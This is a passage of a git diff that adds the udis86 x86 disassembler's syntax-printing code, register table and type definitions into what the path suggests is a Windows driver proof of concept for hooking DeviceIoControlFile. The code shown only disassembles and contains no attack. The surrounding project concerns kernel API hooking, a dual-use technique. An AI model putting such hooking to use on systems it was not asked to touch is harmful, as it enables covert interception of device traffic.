UD_Icvtpd2dq, + UD_Icvtpd2pi, + UD_Icvtpd2ps, + UD_Icvtpi2ps, + UD_Icvtpi2pd, + UD_Icvtps2dq, + UD_Icvtps2pi, + UD_Icvtps2pd, + UD_Icvtsd2si, + UD_Icvtsd2ss, + UD_Icvtsi2ss, + UD_Icvtss2si, + UD_Icvtss2sd, + UD_Icvttpd2pi, + UD_Icvttpd2dq, + UD_Icvttps2dq, + UD_Icvttps2pi, + UD_Icvttsd2si, + UD_Icvtsi2sd, + UD_Icvttss2si, + UD_Icwd, + UD_Icdq, + UD_Icqo, + UD_Idaa, + UD_Idas, + UD_Idec, + UD_Idiv, + UD_Idivpd, + UD_Idivps, + UD_Idivsd, + UD_Idivss, + UD_Iemms, + UD_Ienter, + UD_If2xm1, + UD_Ifabs, + UD_Ifadd, + UD_Ifaddp, + UD_Ifbld, + UD_Ifbstp, + UD_Ifchs, + UD_Ifclex, + UD_Ifcmovb, + UD_Ifcmove, + UD_Ifcmovbe, + UD_Ifcmovu, + UD_Ifcmovnb, + UD_Ifcmovne, + UD_Ifcmovnbe, + UD_Ifcmovnu, + UD_Ifucomi, + UD_Ifcom, + UD_Ifcom2, + UD_Ifcomp3, + UD_Ifcomi, + UD_Ifucomip, + UD_Ifcomip, + UD_Ifcomp, + UD_Ifcomp5, + UD_Ifcompp, + UD_Ifcos, + UD_Ifdecstp, + UD_Ifdiv, + UD_Ifdivp, + UD_Ifdivr, + UD_Ifdivrp, + UD_Ifemms, + UD_Iffree, + UD_Iffreep, + UD_Ificom, + UD_Ificomp, + UD_Ifild, + UD_Ifncstp, + UD_Ifninit, + UD_Ifiadd, + UD_Ifidivr, + UD_Ifidiv, + UD_Ifisub, + UD_Ifisubr, + UD_Ifist, + UD_Ifistp, + UD_Ifisttp, + UD_Ifld, + UD_Ifld1, + UD_Ifldl2t, + UD_Ifldl2e, + UD_Ifldlpi, + UD_Ifldlg2, + UD_Ifldln2, + UD_Ifldz, + UD_Ifldcw, + UD_Ifldenv, + UD_Ifmul, + UD_Ifmulp, + UD_Ifimul, + UD_Ifnop, + UD_Ifpatan, + UD_Ifprem, + UD_Ifprem1, + UD_Ifptan, + UD_Ifrndint, + UD_Ifrstor, + UD_Ifnsave, + UD_Ifscale, + UD_Ifsin, + UD_Ifsincos, + UD_Ifsqrt, + UD_Ifstp, + UD_Ifstp1, + UD_Ifstp8, + UD_Ifstp9, + UD_Ifst, + UD_Ifnstcw, + UD_Ifnstenv, + UD_Ifnstsw, + UD_Ifsub, + UD_Ifsubp, + UD_Ifsubr, + UD_Ifsubrp, + UD_Iftst, + UD_Ifucom, + UD_Ifucomp, + UD_Ifucompp, + UD_Ifxam, + UD_Ifxch, + UD_Ifxch4, + UD_Ifxch7, + UD_Ifxrstor, + UD_Ifxsave, + UD_Ifpxtract, + UD_Ifyl2x, + UD_Ifyl2xp1, + UD_Ihaddpd, + UD_Ihaddps, + UD_Ihlt, + UD_Ihsubpd, + UD_Ihsubps, + UD_Iidiv, + UD_Iin, + UD_Iimul, + UD_Iinc, + UD_Iinsb, + UD_Iinsw, + UD_Iinsd, + UD_Iint1, + UD_Iint3, + UD_Iint, + UD_Iinto, + UD_Iinvd, + UD_Iinvlpg, + UD_Iinvlpga, + UD_Iiretw, + UD_Iiretd, + UD_Iiretq, + UD_Ijo, + UD_Ijno, + UD_Ijb, + UD_Ijae, + UD_Ijz, + UD_Ijnz, + UD_Ijbe, + UD_Ija, + UD_Ijs, + UD_Ijns, + UD_Ijp, + UD_Ijnp, + UD_Ijl, + UD_Ijge, + UD_Ijle, + UD_Ijg, + UD_Ijcxz, + UD_Ijecxz, + UD_Ijrcxz, + UD_Ijmp, + UD_Ilahf, + UD_Ilar, + UD_Ilddqu, + UD_Ildmxcsr, + UD_Ilds, + UD_Ilea, + UD_Iles, + UD_Ilfs, + UD_Ilgs, + UD_Ilidt, + UD_Ilss, + UD_Ileave, + UD_Ilfence, + UD_Ilgdt, + UD_Illdt, + UD_Ilmsw, + UD_Ilock, + UD_Ilodsb, + UD_Ilodsw, + UD_Ilodsd, + UD_Ilodsq, + UD_Iloopnz, + UD_Iloope, + UD_Iloop, + UD_Ilsl, + UD_Iltr, + UD_Imaskmovq, + UD_Imaxpd, + UD_Imaxps, + UD_Imaxsd, + UD_Imaxss, + UD_Imfence, + UD_Iminpd, + UD_Iminps, + UD_Iminsd, + UD_Iminss, + UD_Imonitor, + UD_Imov, + UD_Imovapd, + UD_Imovaps, + UD_Imovd, + UD_Imovddup, + UD_Imovdqa, + UD_Imovdqu, + UD_Imovdq2q, + UD_Imovhpd, + UD_Imovhps, + UD_Imovlhps, + UD_Imovlpd, + UD_Imovlps, + UD_Imovhlps, + UD_Imovmskpd, + UD_Imovmskps, + UD_Imovntdq, + UD_Imovnti, + UD_Imovntpd, + UD_Imovntps, + UD_Imovntq, + UD_Imovq, + UD_Imovqa, + UD_Imovq2dq, + UD_Imovsb, + UD_Imovsw, + UD_Imovsd, + UD_Imovsq, + UD_Imovsldup, + UD_Imovshdup, + UD_Imovss, + UD_Imovsx, + UD_Imovupd, + UD_Imovups, + UD_Imovzx, + UD_Imul, + UD_Imulpd, + UD_Imulps, + UD_Imulsd, + UD_Imulss, + UD_Imwait, + UD_Ineg, + UD_Inop, + UD_Inot, + UD_Ior, + UD_Iorpd, + UD_Iorps, + UD_Iout, + UD_Ioutsb, + UD_Ioutsw, + UD_Ioutsd, + UD_Ioutsq, + UD_Ipacksswb, + UD_Ipackssdw, + UD_Ipackuswb, + UD_Ipaddb, + UD_Ipaddw, + UD_Ipaddq, + UD_Ipaddsb, + UD_Ipaddsw, + UD_Ipaddusb, + UD_Ipaddusw, + UD_Ipand, + UD_Ipandn, + UD_Ipause, + UD_Ipavgb, + UD_Ipavgw, + UD_Ipcmpeqb, + UD_Ipcmpeqw, + UD_Ipcmpeqd, + UD_Ipcmpgtb, + UD_Ipcmpgtw, + UD_Ipcmpgtd, + UD_Ipextrw, + UD_Ipinsrw, + UD_Ipmaddwd, + UD_Ipmaxsw, + UD_Ipmaxub, + UD_Ipminsw, + UD_Ipminub, + UD_Ipmovmskb, + UD_Ipmulhuw, + UD_Ipmulhw, + UD_Ipmullw, + UD_Ipmuludq, + UD_Ipop, + UD_Ipopa, + UD_Ipopad, + UD_Ipopfw, + UD_Ipopfd, + UD_Ipopfq, + UD_Ipor, + UD_Iprefetch, + UD_Iprefetchnta, + UD_Iprefetcht0, + UD_Iprefetcht1, + UD_Iprefetcht2, + UD_Ipsadbw, + UD_Ipshufd, + UD_Ipshufhw, + UD_Ipshuflw, + UD_Ipshufw, + UD_Ipslldq, + UD_Ipsllw, + UD_Ipslld, + UD_Ipsllq, + UD_Ipsraw, + UD_Ipsrad, + UD_Ipsrlw, + UD_Ipsrld, + UD_Ipsrlq, + UD_Ipsrldq, + UD_Ipsubb, + UD_Ipsubw, + UD_Ipsubd, + UD_Ipsubq, + UD_Ipsubsb, + UD_Ipsubsw, + UD_Ipsubusb, + UD_Ipsubusw, + UD_Ipunpckhbw, + UD_Ipunpckhwd, + UD_Ipunpckhdq, + UD_Ipunpckhqdq, + UD_Ipunpcklbw, + UD_Ipunpcklwd, + UD_Ipunpckldq, + UD_Ipunpcklqdq, + UD_Ipi2fw, + UD_Ipi2fd, + UD_Ipf2iw, + UD_Ipf2id, + UD_Ipfnacc, + UD_Ipfpnacc, + UD_Ipfcmpge, + UD_Ipfmin, + UD_Ipfrcp, + UD_Ipfrsqrt, + UD_Ipfsub, + UD_Ipfadd, + UD_Ipfcmpgt, + UD_Ipfmax, + UD_Ipfrcpit1, + UD_Ipfrspit1, + UD_Ipfsubr, + UD_Ipfacc, + UD_Ipfcmpeq, + UD_Ipfmul, + UD_Ipfrcpit2, + UD_Ipmulhrw, + UD_Ipswapd, + UD_Ipavgusb, + UD_Ipush, + UD_Ipusha, + UD_Ipushad, + UD_Ipushfw, + UD_Ipushfd, + UD_Ipushfq, + UD_Ipxor, + UD_Ircl, + UD_Ircr, + UD_Irol, + UD_Iror, + UD_Ircpps, + UD_Ircpss, + UD_Irdmsr, + UD_Irdpmc, + UD_Irdtsc, + UD_Irdtscp, + UD_Irepne, + UD_Irep, + UD_Iret, + UD_Iretf, + UD_Irsm, + UD_Irsqrtps, + UD_Irsqrtss, + UD_Isahf, + UD_Isal, + UD_Isalc, + UD_Isar, + UD_Ishl, + UD_Ishr, + UD_Isbb, + UD_Iscasb, + UD_Iscasw, + UD_Iscasd, + UD_Iscasq, + UD_Iseto, + UD_Isetno, + UD_Isetb, + UD_Isetnb, + UD_Isetz, + UD_Isetnz, + UD_Isetbe, + UD_Iseta, + UD_Isets, + UD_Isetns, + UD_Isetp, + UD_Isetnp, + UD_Isetl, + UD_Isetge, + UD_Isetle, + UD_Isetg, + UD_Isfence, + UD_Isgdt, + UD_Ishld, + UD_Ishrd, + UD_Ishufpd, + UD_Ishufps, + UD_Isidt, + UD_Isldt, + UD_Ismsw, + UD_Isqrtps, + UD_Isqrtpd, + UD_Isqrtsd, + UD_Isqrtss, + UD_Istc, + UD_Istd, + UD_Istgi, + UD_Isti, + UD_Iskinit, + UD_Istmxcsr, + UD_Istosb, + UD_Istosw, + UD_Istosd, + UD_Istosq, + UD_Istr, + UD_Isub, + UD_Isubpd, + UD_Isubps, + UD_Isubsd, + UD_Isubss, + UD_Iswapgs, + UD_Isyscall, + UD_Isysenter, + UD_Isysexit, + UD_Isysret, + UD_Itest, + UD_Iucomisd, + UD_Iucomiss, + UD_Iud2, + UD_Iunpckhpd, + UD_Iunpckhps, + UD_Iunpcklps, + UD_Iunpcklpd, + UD_Iverr, + UD_Iverw, + UD_Ivmcall, + UD_Ivmclear, + UD_Ivmxon, + UD_Ivmptrld, + UD_Ivmptrst, + UD_Ivmresume, + UD_Ivmxoff, + UD_Ivmrun, + UD_Ivmmcall, + UD_Ivmload, + UD_Ivmsave, + UD_Iwait, + UD_Iwbinvd, + UD_Iwrmsr, + UD_Ixadd, + UD_Ixchg, + UD_Ixlatb, + UD_Ixor, + UD_Ixorpd, + UD_Ixorps, + UD_Idb, + UD_Iinvalid, + UD_Id3vil, + UD_Ina, + UD_Igrp_reg, + UD_Igrp_rm, + UD_Igrp_vendor, + UD_Igrp_x87, + UD_Igrp_mode, + UD_Igrp_osize, + UD_Igrp_asize, + UD_Igrp_mod, + UD_Inone, +}; + + + +extern const char* ud_mnemonics_str[];; +extern struct ud_itab_entry* ud_itab_list[]; + +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn-att.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn-att.c new file mode 100644 index 00000000..79fcc7fe --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn-att.c @@ -0,0 +1,211 @@ +/* ----------------------------------------------------------------------------- + * syn-att.c + * + * Copyright (c) 2004, 2005, 2006 Vivek Mohan + * All rights reserved. See (LICENSE) + * ----------------------------------------------------------------------------- + */ + +#include "types.h" +#include "extern.h" +#include "decode.h" +#include "itab.h" +#include "syn.h" + +/* ----------------------------------------------------------------------------- + * opr_cast() - Prints an operand cast. + * ----------------------------------------------------------------------------- + */ +static void +opr_cast(struct ud* u, struct ud_operand* op) +{ + switch(op->size) { + case 16 : case 32 : + mkasm(u, "*"); break; + default: break; + } +} + +/* ----------------------------------------------------------------------------- + * gen_operand() - Generates assembly output for each operand. + * ----------------------------------------------------------------------------- + */ +static void +gen_operand(struct ud* u, struct ud_operand* op) +{ + switch(op->type) { + case UD_OP_REG: + mkasm(u, "%%%s", ud_reg_tab[op->base - UD_R_AL]); + break; + + case UD_OP_MEM: + if (u->br_far) opr_cast(u, op); + if (u->pfx_seg) + mkasm(u, "%%%s:", ud_reg_tab[u->pfx_seg - UD_R_AL]); + if (op->offset == 8) { + if (op->lval.sbyte < 0) + mkasm(u, "-0x%x", (-op->lval.sbyte) & 0xff); + else mkasm(u, "0x%x", op->lval.sbyte); + } + else if (op->offset == 16) + mkasm(u, "0x%x", op->lval.uword); + else if (op->offset == 32) + mkasm(u, "0x%lx", op->lval.udword); + else if (op->offset == 64) + mkasm(u, "0x" FMT64 "x", op->lval.uqword); + + if (op->base) + mkasm(u, "(%%%s", ud_reg_tab[op->base - UD_R_AL]); + if (op->index) { + if (op->base) + mkasm(u, ","); + else mkasm(u, "("); + mkasm(u, "%%%s", ud_reg_tab[op->index - UD_R_AL]); + } + if (op->scale) + mkasm(u, ",%d", op->scale); + if (op->base || op->index) + mkasm(u, ")"); + break; + + case UD_OP_IMM: + switch (op->size) { + case 8: mkasm(u, "$0x%x", op->lval.ubyte); break; + case 16: mkasm(u, "$0x%x", op->lval.uword); break; + case 32: mkasm(u, "$0x%lx", op->lval.udword); break; + case 64: mkasm(u, "$0x" FMT64 "x", op->lval.uqword); break; + default: break; + } + break; + + case UD_OP_JIMM: + switch (op->size) { + case 8: + mkasm(u, "0x" FMT64 "x", u->pc + op->lval.sbyte); + break; + case 16: + mkasm(u, "0x" FMT64 "x", u->pc + op->lval.sword); + break; + case 32: + mkasm(u, "0x" FMT64 "x", u->pc + op->lval.sdword); + break; + default:break; + } + break; + + case UD_OP_PTR: + switch (op->size) { + case 32: + mkasm(u, "$0x%x, $0x%x", op->lval.ptr.seg, + op->lval.ptr.off & 0xFFFF); + break; + case 48: + mkasm(u, "$0x%x, $0x%lx", op->lval.ptr.seg, + op->lval.ptr.off); + break; + } + break; + + default: return; + } +} + +/* ============================================================================= + * translates to AT&T syntax + * ============================================================================= + */ +extern void +ud_translate_att(struct ud *u) +{ + int size = 0; + + /* check if P_OSO prefix is used */ + if (! P_OSO(u->itab_entry->prefix) && u->pfx_opr) { + switch (u->dis_mode) { + case 16: + mkasm(u, "o32 "); + break; + case 32: + case 64: + mkasm(u, "o16 "); + break; + } + } + + /* check if P_ASO prefix was used */ + if (! P_ASO(u->itab_entry->prefix) && u->pfx_adr) { + switch (u->dis_mode) { + case 16: + mkasm(u, "a32 "); + break; + case 32: + mkasm(u, "a16 "); + break; + case 64: + mkasm(u, "a32 "); + break; + } + } + + if (u->pfx_lock) + mkasm(u, "lock "); + if (u->pfx_rep) + mkasm(u, "rep "); + if (u->pfx_repne) + mkasm(u, "repne "); + + /* special instructions */ + switch (u->mnemonic) { + case UD_Iretf: + mkasm(u, "lret "); + break; + case UD_Idb: + mkasm(u, ".byte 0x%x", u->operand[0].lval.ubyte); + return; + case UD_Ijmp: + case UD_Icall: + if (u->br_far) mkasm(u, "l"); + mkasm(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + break; + case UD_Ibound: + case UD_Ienter: + if (u->operand[0].type != UD_NONE) + gen_operand(u, &u->operand[0]); + if (u->operand[1].type != UD_NONE) { + mkasm(u, ","); + gen_operand(u, &u->operand[1]); + } + return; + default: + mkasm(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + } + + if (u->c1) + size = u->operand[0].size; + else if (u->c2) + size = u->operand[1].size; + else if (u->c3) + size = u->operand[2].size; + + if (size == 8) + mkasm(u, "b"); + else if (size == 16) + mkasm(u, "w"); + else if (size == 64) + mkasm(u, "q"); + + mkasm(u, " "); + + if (u->operand[2].type != UD_NONE) { + gen_operand(u, &u->operand[2]); + mkasm(u, ", "); + } + + if (u->operand[1].type != UD_NONE) { + gen_operand(u, &u->operand[1]); + mkasm(u, ", "); + } + + if (u->operand[0].type != UD_NONE) + gen_operand(u, &u->operand[0]); +} diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn-intel.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn-intel.c new file mode 100644 index 00000000..350253ad --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn-intel.c @@ -0,0 +1,208 @@ +/* ----------------------------------------------------------------------------- + * syn-intel.c + * + * Copyright (c) 2002, 2003, 2004 Vivek Mohan + * All rights reserved. See (LICENSE) + * ----------------------------------------------------------------------------- + */ + +#include "types.h" +#include "extern.h" +#include "decode.h" +#include "itab.h" +#include "syn.h" + +/* ----------------------------------------------------------------------------- + * opr_cast() - Prints an operand cast. + * ----------------------------------------------------------------------------- + */ +static void +opr_cast(struct ud* u, struct ud_operand* op) +{ + switch(op->size) { + case 8: mkasm(u, "byte " ); break; + case 16: mkasm(u, "word " ); break; + case 32: mkasm(u, "dword "); break; + case 64: mkasm(u, "qword "); break; + case 80: mkasm(u, "tword "); break; + default: break; + } + if (u->br_far) + mkasm(u, "far "); + else if (u->br_near) + mkasm(u, "near "); +} + +/* ----------------------------------------------------------------------------- + * gen_operand() - Generates assembly output for each operand. + * ----------------------------------------------------------------------------- + */ +static void gen_operand(struct ud* u, struct ud_operand* op, int syn_cast) +{ + switch(op->type) { + case UD_OP_REG: + mkasm(u, ud_reg_tab[op->base - UD_R_AL]); + break; + + case UD_OP_MEM: { + + int op_f = 0; + + if (syn_cast) + opr_cast(u, op); + + mkasm(u, "["); + + if (u->pfx_seg) + mkasm(u, "%s:", ud_reg_tab[u->pfx_seg - UD_R_AL]); + + if (op->base) { + mkasm(u, "%s", ud_reg_tab[op->base - UD_R_AL]); + op_f = 1; + } + + if (op->index) { + if (op_f) + mkasm(u, "+"); + mkasm(u, "%s", ud_reg_tab[op->index - UD_R_AL]); + op_f = 1; + } + + if (op->scale) + mkasm(u, "*%d", op->scale); + + if (op->offset == 8) { + if (op->lval.sbyte < 0) + mkasm(u, "-0x%x", -op->lval.sbyte); + else mkasm(u, "%s0x%x", (op_f) ? "+" : "", op->lval.sbyte); + } + else if (op->offset == 16) + mkasm(u, "%s0x%x", (op_f) ? "+" : "", op->lval.uword); + else if (op->offset == 32) { + if (u->adr_mode == 64) { + if (op->lval.sdword < 0) + mkasm(u, "-0x%x", -op->lval.sdword); + else mkasm(u, "%s0x%x", (op_f) ? "+" : "", op->lval.sdword); + } + else mkasm(u, "%s0x%lx", (op_f) ? "+" : "", op->lval.udword); + } + else if (op->offset == 64) + mkasm(u, "%s0x" FMT64 "x", (op_f) ? "+" : "", op->lval.uqword); + + mkasm(u, "]"); + break; + } + + case UD_OP_IMM: + if (syn_cast) opr_cast(u, op); + switch (op->size) { + case 8: mkasm(u, "0x%x", op->lval.ubyte); break; + case 16: mkasm(u, "0x%x", op->lval.uword); break; + case 32: mkasm(u, "0x%lx", op->lval.udword); break; + case 64: mkasm(u, "0x" FMT64 "x", op->lval.uqword); break; + default: break; + } + break; + + case UD_OP_JIMM: + if (syn_cast) opr_cast(u, op); + switch (op->size) { + case 8: + mkasm(u, "0x" FMT64 "x", u->pc + op->lval.sbyte); + break; + case 16: + mkasm(u, "0x" FMT64 "x", u->pc + op->lval.sword); + break; + case 32: + mkasm(u, "0x" FMT64 "x", u->pc + op->lval.sdword); + break; + default:break; + } + break; + + case UD_OP_PTR: + switch (op->size) { + case 32: + mkasm(u, "word 0x%x:0x%x", op->lval.ptr.seg, + op->lval.ptr.off & 0xFFFF); + break; + case 48: + mkasm(u, "dword 0x%x:0x%lx", op->lval.ptr.seg, + op->lval.ptr.off); + break; + } + break; + + case UD_OP_CONST: + if (syn_cast) opr_cast(u, op); + mkasm(u, "%d", op->lval.udword); + break; + + default: return; + } +} + +/* ============================================================================= + * translates to intel syntax + * ============================================================================= + */ +extern void ud_translate_intel(struct ud* u) +{ + /* -- prefixes -- */ + + /* check if P_OSO prefix is used */ + if (! P_OSO(u->itab_entry->prefix) && u->pfx_opr) { + switch (u->dis_mode) { + case 16: + mkasm(u, "o32 "); + break; + case 32: + case 64: + mkasm(u, "o16 "); + break; + } + } + + /* check if P_ASO prefix was used */ + if (! P_ASO(u->itab_entry->prefix) && u->pfx_adr) { + switch (u->dis_mode) { + case 16: + mkasm(u, "a32 "); + break; + case 32: + mkasm(u, "a16 "); + break; + case 64: + mkasm(u, "a32 "); + break; + } + } + + if (u->pfx_lock) + mkasm(u, "lock "); + if (u->pfx_rep) + mkasm(u, "rep "); + if (u->pfx_repne) + mkasm(u, "repne "); + if (u->implicit_addr && u->pfx_seg) + mkasm(u, "%s ", ud_reg_tab[u->pfx_seg - UD_R_AL]); + + /* print the instruction mnemonic */ + mkasm(u, "%s ", ud_lookup_mnemonic(u->mnemonic)); + + /* operand 1 */ + if (u->operand[0].type != UD_NONE) { + gen_operand(u, &u->operand[0], u->c1); + } + /* operand 2 */ + if (u->operand[1].type != UD_NONE) { + mkasm(u, ", "); + gen_operand(u, &u->operand[1], u->c2); + } + + /* operand 3 */ + if (u->operand[2].type != UD_NONE) { + mkasm(u, ", "); + gen_operand(u, &u->operand[2], u->c3); + } +} diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn.c new file mode 100644 index 00000000..8019a119 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn.c @@ -0,0 +1,61 @@ +/* ----------------------------------------------------------------------------- + * syn.c + * + * Copyright (c) 2002, 2003, 2004 Vivek Mohan + * All rights reserved. See (LICENSE) + * ----------------------------------------------------------------------------- + */ + +/* ----------------------------------------------------------------------------- + * Intel Register Table - Order Matters (types.h)! + * ----------------------------------------------------------------------------- + */ +const char* ud_reg_tab[] = +{ + "al", "cl", "dl", "bl", + "ah", "ch", "dh", "bh", + "spl", "bpl", "sil", "dil", + "r8b", "r9b", "r10b", "r11b", + "r12b", "r13b", "r14b", "r15b", + + "ax", "cx", "dx", "bx", + "sp", "bp", "si", "di", + "r8w", "r9w", "r10w", "r11w", + "r12w", "r13W" , "r14w", "r15w", + + "eax", "ecx", "edx", "ebx", + "esp", "ebp", "esi", "edi", + "r8d", "r9d", "r10d", "r11d", + "r12d", "r13d", "r14d", "r15d", + + "rax", "rcx", "rdx", "rbx", + "rsp", "rbp", "rsi", "rdi", + "r8", "r9", "r10", "r11", + "r12", "r13", "r14", "r15", + + "es", "cs", "ss", "ds", + "fs", "gs", + + "cr0", "cr1", "cr2", "cr3", + "cr4", "cr5", "cr6", "cr7", + "cr8", "cr9", "cr10", "cr11", + "cr12", "cr13", "cr14", "cr15", + + "dr0", "dr1", "dr2", "dr3", + "dr4", "dr5", "dr6", "dr7", + "dr8", "dr9", "dr10", "dr11", + "dr12", "dr13", "dr14", "dr15", + + "mm0", "mm1", "mm2", "mm3", + "mm4", "mm5", "mm6", "mm7", + + "st0", "st1", "st2", "st3", + "st4", "st5", "st6", "st7", + + "xmm0", "xmm1", "xmm2", "xmm3", + "xmm4", "xmm5", "xmm6", "xmm7", + "xmm8", "xmm9", "xmm10", "xmm11", + "xmm12", "xmm13", "xmm14", "xmm15", + + "rip" +}; diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn.h new file mode 100644 index 00000000..7e620663 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn.h @@ -0,0 +1,25 @@ +/* ----------------------------------------------------------------------------- + * syn.h + * + * Copyright (c) 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ +#ifndef UD_SYN_H +#define UD_SYN_H + +#include +#include +#include "types.h" + +extern const char* ud_reg_tab[]; + +static void mkasm(struct ud* u, const char* fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + u->insn_fill += vsprintf((char*) u->insn_buffer + u->insn_fill, fmt, ap); + va_end(ap); +} + +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/types.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/types.h new file mode 100644 index 00000000..46afdc69 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/types.h @@ -0,0 +1,200 @@ +/* ----------------------------------------------------------------------------- + * types.h + * + * Copyright (c) 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ +#ifndef UD_TYPES_H +#define UD_TYPES_H + +#include + +#ifdef _MSC_VER +# define FMT64 "%I64" + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + typedef unsigned __int64 uint64_t; + typedef __int8 int8_t; + typedef __int16 int16_t; + typedef __int32 int32_t; + typedef __int64 int64_t; +#else +# define FMT64 "%ll" +# include +#endif + +#include "itab.h" + +/* ----------------------------------------------------------------------------- + * All possible "types" of objects in udis86. Order is Important! + * ----------------------------------------------------------------------------- + */ +enum ud_type +{ + UD_NONE, + + /* 8 bit GPRs */ + UD_R_AL, UD_R_CL, UD_R_DL, UD_R_BL, + UD_R_AH, UD_R_CH, UD_R_DH, UD_R_BH, + UD_R_SPL, UD_R_BPL, UD_R_SIL, UD_R_DIL, + UD_R_R8B, UD_R_R9B, UD_R_R10B, UD_R_R11B, + UD_R_R12B, UD_R_R13B, UD_R_R14B, UD_R_R15B, + + /* 16 bit GPRs */ + UD_R_AX, UD_R_CX, UD_R_DX, UD_R_BX, + UD_R_SP, UD_R_BP, UD_R_SI, UD_R_DI, + UD_R_R8W, UD_R_R9W, UD_R_R10W, UD_R_R11W, + UD_R_R12W, UD_R_R13W, UD_R_R14W, UD_R_R15W, + + /* 32 bit GPRs */ + UD_R_EAX, UD_R_ECX, UD_R_EDX, UD_R_EBX, + UD_R_ESP, UD_R_EBP, UD_R_ESI, UD_R_EDI, + UD_R_R8D, UD_R_R9D, UD_R_R10D, UD_R_R11D, + UD_R_R12D, UD_R_R13D, UD_R_R14D, UD_R_R15D, + + /* 64 bit GPRs */ + UD_R_RAX, UD_R_RCX, UD_R_RDX, UD_R_RBX, + UD_R_RSP, UD_R_RBP, UD_R_RSI, UD_R_RDI, + UD_R_R8, UD_R_R9, UD_R_R10, UD_R_R11, + UD_R_R12, UD_R_R13, UD_R_R14, UD_R_R15, + + /* segment registers */ + UD_R_ES, UD_R_CS, UD_R_SS, UD_R_DS, + UD_R_FS, UD_R_GS, + + /* control registers*/ + UD_R_CR0, UD_R_CR1, UD_R_CR2, UD_R_CR3, + UD_R_CR4, UD_R_CR5, UD_R_CR6, UD_R_CR7, + UD_R_CR8, UD_R_CR9, UD_R_CR10, UD_R_CR11, + UD_R_CR12, UD_R_CR13, UD_R_CR14, UD_R_CR15, + + /* debug registers */ + UD_R_DR0, UD_R_DR1, UD_R_DR2, UD_R_DR3, + UD_R_DR4, UD_R_DR5, UD_R_DR6, UD_R_DR7, + UD_R_DR8, UD_R_DR9, UD_R_DR10, UD_R_DR11, + UD_R_DR12, UD_R_DR13, UD_R_DR14, UD_R_DR15, + + /* mmx registers */ + UD_R_MM0, UD_R_MM1, UD_R_MM2, UD_R_MM3, + UD_R_MM4, UD_R_MM5, UD_R_MM6, UD_R_MM7, + + /* x87 registers */ + UD_R_ST0, UD_R_ST1, UD_R_ST2, UD_R_ST3, + UD_R_ST4, UD_R_ST5, UD_R_ST6, UD_R_ST7, + + /* extended multimedia registers */ + UD_R_XMM0, UD_R_XMM1, UD_R_XMM2, UD_R_XMM3, + UD_R_XMM4, UD_R_XMM5, UD_R_XMM6, UD_R_XMM7, + UD_R_XMM8, UD_R_XMM9, UD_R_XMM10, UD_R_XMM11, + UD_R_XMM12, UD_R_XMM13, UD_R_XMM14, UD_R_XMM15, + + UD_R_RIP, + + /* Operand Types */ + UD_OP_REG, UD_OP_MEM, UD_OP_PTR, UD_OP_IMM, + UD_OP_JIMM, UD_OP_CONST +}; + +/* ----------------------------------------------------------------------------- + * struct ud_operand - Disassembled instruction Operand. + * ----------------------------------------------------------------------------- + */ +struct ud_operand +{ + enum ud_type type; + uint8_t size; + union { + int8_t sbyte; + uint8_t ubyte; + int16_t sword; + uint16_t uword; + int32_t sdword; + uint32_t udword; + int64_t sqword; + uint64_t uqword; + + struct { + uint16_t seg; + uint32_t off; + } ptr; + } lval; + + enum ud_type base; + enum ud_type index; + uint8_t offset; + uint8_t scale; +}; + +/* ----------------------------------------------------------------------------- + * struct ud - The udis86 object. + * ----------------------------------------------------------------------------- + */ +struct ud +{ + int (*inp_hook) (struct ud*); + uint8_t inp_curr; + uint8_t inp_fill; + FILE* inp_file; + uint8_t inp_ctr; + uint8_t* inp_buff; + uint8_t* inp_buff_end; + uint8_t inp_end; + void (*translator)(struct ud*); + uint64_t insn_offset; + char insn_hexcode[32]; + char insn_buffer[64]; + unsigned int insn_fill; + uint8_t dis_mode; + uint64_t pc; + uint8_t vendor; + struct map_entry* mapen; + enum ud_mnemonic_code mnemonic; + struct ud_operand operand[3]; + uint8_t error; + uint8_t pfx_rex; + uint8_t pfx_seg; + uint8_t pfx_opr; + uint8_t pfx_adr; + uint8_t pfx_lock; + uint8_t pfx_rep; + uint8_t pfx_repe; + uint8_t pfx_repne; + uint8_t pfx_insn; + uint8_t default64; + uint8_t opr_mode; + uint8_t 